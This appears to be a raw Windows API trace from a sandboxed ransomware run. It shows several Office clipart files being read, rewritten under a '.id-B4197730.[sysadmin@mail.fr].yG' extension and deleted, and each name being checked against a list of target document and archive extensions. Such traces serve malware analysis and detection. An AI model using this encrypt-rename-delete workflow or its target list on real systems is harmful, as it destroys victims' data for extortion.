	[0051.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0051.541] GetLastError () returned 0x0
	[0051.541] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x2340, lpOverlapped=0x0) returned 1
	[0051.551] WriteFile (in: hFile=0x398, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2350, lpOverlapped=0x0) returned 1
	[0051.552] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.552] WriteFile (in: hFile=0x398, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.552] SetEndOfFile (hFile=0x398) returned 1
	[0051.552] CloseHandle (hObject=0x398) returned 1
	[0051.553] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.553] SetEndOfFile (hFile=0x2f4) returned 1
	[0051.554] CloseHandle (hObject=0x2f4) returned 1
	[0051.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1
	[0051.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0051.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0051.554] lstrlenW (lpString=".doc") returned 4
	[0051.554] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.554] lstrlenW (lpString=".docx") returned 5
	[0051.554] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.554] lstrlenW (lpString=".pdf") returned 4
	[0051.554] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.554] lstrlenW (lpString=".xls") returned 4
	[0051.554] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.554] lstrlenW (lpString=".xlsx") returned 5
	[0051.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.555] lstrlenW (lpString=".ppt") returned 4
	[0051.555] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0051.555] lstrlenW (lpString=".zip") returned 4
	[0051.555] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.555] lstrlenW (lpString=".rar") returned 4
	[0051.555] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.555] lstrlenW (lpString=".bz2") returned 4
	[0051.555] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.555] lstrlenW (lpString=".7z") returned 3
	[0051.555] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0051.555] lstrlenW (lpString=".dbf") returned 4
	[0051.555] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0051.555] lstrlenW (lpString=".1cd") returned 4
	[0051.555] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0051.555] lstrlenW (lpString=".jpg") returned 4
	[0051.555] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0051.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0051.555] lstrlenW (lpString=".doc") returned 4
	[0051.555] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.555] lstrlenW (lpString=".docx") returned 5
	[0051.556] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.556] lstrlenW (lpString=".pdf") returned 4
	[0051.556] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.556] lstrlenW (lpString=".xls") returned 4
	[0051.556] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.556] lstrlenW (lpString=".xlsx") returned 5
	[0051.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.556] lstrlenW (lpString=".ppt") returned 4
	[0051.556] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0051.556] lstrlenW (lpString=".zip") returned 4
	[0051.556] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.556] lstrlenW (lpString=".rar") returned 4
	[0051.556] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.556] lstrlenW (lpString=".bz2") returned 4
	[0051.556] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.556] lstrlenW (lpString=".7z") returned 3
	[0051.556] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0051.556] lstrlenW (lpString=".dbf") returned 4
	[0051.556] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0051.556] lstrlenW (lpString=".1cd") returned 4
	[0051.556] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0051.556] lstrlenW (lpString=".jpg") returned 4
	[0051.556] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.556] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.556] lstrlenW (lpString="AG00021_.GIF") returned 12
	[0051.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.557] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=14873) returned 1
	[0051.557] CloseHandle (hObject=0x2f4) returned 1
	[0051.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220
	[0051.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.557] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.557] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0051.558] GetLastError () returned 0x0
	[0051.558] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x3a19, lpOverlapped=0x0) returned 1
	[0051.578] WriteFile (in: hFile=0x398, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3a20, lpOverlapped=0x0) returned 1
	[0051.579] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.579] WriteFile (in: hFile=0x398, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.579] SetEndOfFile (hFile=0x398) returned 1
	[0051.579] CloseHandle (hObject=0x398) returned 1
	[0051.580] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.580] SetEndOfFile (hFile=0x2f4) returned 1
	[0051.580] CloseHandle (hObject=0x2f4) returned 1
	[0051.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1
	[0051.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0051.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0051.581] lstrlenW (lpString=".doc") returned 4
	[0051.581] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.581] lstrlenW (lpString=".docx") returned 5
	[0051.581] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.581] lstrlenW (lpString=".pdf") returned 4
	[0051.581] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.581] lstrlenW (lpString=".xls") returned 4
	[0051.581] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.581] lstrlenW (lpString=".xlsx") returned 5
	[0051.581] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.581] lstrlenW (lpString=".ppt") returned 4
	[0051.581] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0051.581] lstrlenW (lpString=".zip") returned 4
	[0051.581] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.581] lstrlenW (lpString=".rar") returned 4
	[0051.581] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.581] lstrlenW (lpString=".bz2") returned 4
	[0051.582] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.582] lstrlenW (lpString=".7z") returned 3
	[0051.582] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0051.582] lstrlenW (lpString=".dbf") returned 4
	[0051.582] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0051.582] lstrlenW (lpString=".1cd") returned 4
	[0051.582] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0051.582] lstrlenW (lpString=".jpg") returned 4
	[0051.582] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0051.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0051.582] lstrlenW (lpString=".doc") returned 4
	[0051.582] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.582] lstrlenW (lpString=".docx") returned 5
	[0051.582] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.582] lstrlenW (lpString=".pdf") returned 4
	[0051.582] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.582] lstrlenW (lpString=".xls") returned 4
	[0051.582] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.582] lstrlenW (lpString=".xlsx") returned 5
	[0051.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.582] lstrlenW (lpString=".ppt") returned 4
	[0051.582] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0051.582] lstrlenW (lpString=".zip") returned 4
	[0051.582] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.582] lstrlenW (lpString=".rar") returned 4
	[0051.582] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.582] lstrlenW (lpString=".bz2") returned 4
	[0051.582] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.582] lstrlenW (lpString=".7z") returned 3
	[0051.582] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0051.582] lstrlenW (lpString=".dbf") returned 4
	[0051.583] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0051.583] lstrlenW (lpString=".1cd") returned 4
	[0051.583] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0051.583] lstrlenW (lpString=".jpg") returned 4
	[0051.583] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.583] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.583] lstrlenW (lpString="AG00040_.GIF") returned 12
	[0051.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.583] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=8097) returned 1
	[0051.583] CloseHandle (hObject=0x2f4) returned 1
	[0051.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220
	[0051.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0051.584] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.584] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0051.584] GetLastError () returned 0x0
	[0051.584] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1fa1, lpOverlapped=0x0) returned 1
	[0051.609] WriteFile (in: hFile=0x398, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1fb0, lpOverlapped=0x0) returned 1
	[0051.610] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.610] WriteFile (in: hFile=0x398, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.610] SetEndOfFile (hFile=0x398) returned 1
	[0051.610] CloseHandle (hObject=0x398) returned 1
	[0051.611] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.611] SetEndOfFile (hFile=0x2f4) returned 1
	[0051.612] CloseHandle (hObject=0x2f4) returned 1
	[0051.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1
	[0051.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0051.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0051.612] lstrlenW (lpString=".doc") returned 4
	[0051.612] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.612] lstrlenW (lpString=".docx") returned 5
	[0051.612] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.612] lstrlenW (lpString=".pdf") returned 4
	[0051.612] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.612] lstrlenW (lpString=".xls") returned 4
	[0051.612] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.613] lstrlenW (lpString=".xlsx") returned 5
	[0051.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.613] lstrlenW (lpString=".ppt") returned 4
	[0051.613] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0051.613] lstrlenW (lpString=".zip") returned 4
	[0051.613] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.613] lstrlenW (lpString=".rar") returned 4
	[0051.613] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.613] lstrlenW (lpString=".bz2") returned 4
	[0051.613] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.613] lstrlenW (lpString=".7z") returned 3
	[0051.613] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0051.613] lstrlenW (lpString=".dbf") returned 4
	[0051.613] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0051.613] lstrlenW (lpString=".1cd") returned 4
	[0051.613] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0051.613] lstrlenW (lpString=".jpg") returned 4
	[0051.613] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0051.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0051.613] lstrlenW (lpString=".doc") returned 4
	[0051.613] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.613] lstrlenW (lpString=".docx") returned 5
	[0051.613] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.613] lstrlenW (lpString=".pdf") returned 4
	[0051.613] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.613] lstrlenW (lpString=".xls") returned 4
	[0051.613] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.613] lstrlenW (lpString=".xlsx") returned 5
	[0051.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.613] lstrlenW (lpString=".ppt") returned 4
	[0051.613] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0051.614] lstrlenW (lpString=".zip") returned 4
	[0051.614] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.614] lstrlenW (lpString=".rar") returned 4
	[0051.614] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.614] lstrlenW (lpString=".bz2") returned 4
	[0051.614] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.614] lstrlenW (lpString=".7z") returned 3
	[0051.614] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0051.614] lstrlenW (lpString=".dbf") returned 4
	[0051.614] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0051.614] lstrlenW (lpString=".1cd") returned 4
	[0051.614] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0051.614] lstrlenW (lpString=".jpg") returned 4
	[0051.614] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.614] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.614] lstrlenW (lpString="AG00052_.GIF") returned 12
	[0051.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0051.621] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=7686) returned 1
	[0051.621] CloseHandle (hObject=0x394) returned 1
	[0051.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220
	[0051.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
